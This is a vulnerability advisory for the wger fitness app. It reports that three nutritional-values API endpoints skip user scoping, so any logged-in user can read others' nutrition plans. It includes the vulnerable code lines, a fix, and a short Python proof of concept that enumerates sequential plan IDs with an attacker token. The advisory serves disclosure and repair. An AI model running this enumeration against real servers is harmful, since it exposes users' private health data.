PT-2026-60033 · Pypi · Wger

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

4.3

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

Three nutritional values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.

Details

DRF detail actions do not automatically apply queryset filtering — the action must call self.get object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:
wger/nutrition/api/views.py:
python
# line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk)      # VULNERABLE — no user check

# line 356 — MealViewSet
meal = Meal.objects.get(pk=pk)          # VULNERABLE

# line 403 — MealItemViewSet
meal item = MealItem.objects.get(pk=pk)      # VULNERABLE
The correct pattern used in the same file at LogItemViewSet (line 438):
python
LogItem.objects.get(pk=pk, plan user=self.request.user) # CORRECT
Affected endpoints:
GET /api/v2/nutritionplan/{pk}/nutritional values/
GET /api/v2/meal/{pk}/nutritional values/
GET /api/v2/mealitem/{pk}/nutritional values/

PoC

python
import requests

BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER TOKEN"}

# Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
  r = requests.get(
    f"{BASE}/api/v2/nutritionplan/{pk}/nutritional values/",
    headers=headers
  )
  if r.status code == 200:
    data = r.json()
    print(f"Plan {pk}: {data}")
    # Returns: energy (kcal), protein, carbohydrates, carbohydrates sugar,
    #     fat, fat saturated, fiber, sodium
No interaction from the victim required. Registration is open by default. PKs are sequential integers.

Impact

Any authenticated user can read other users' private dietary and health data:
  • Daily caloric intake
  • Protein, carbohydrate, fat, fiber, and sodium intake
  • Full meal composition and ingredient quantities
This data is sensitive health information users expect to be private.
Fix: Replace direct ORM calls with self.get object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-3422

Affected Products

Wger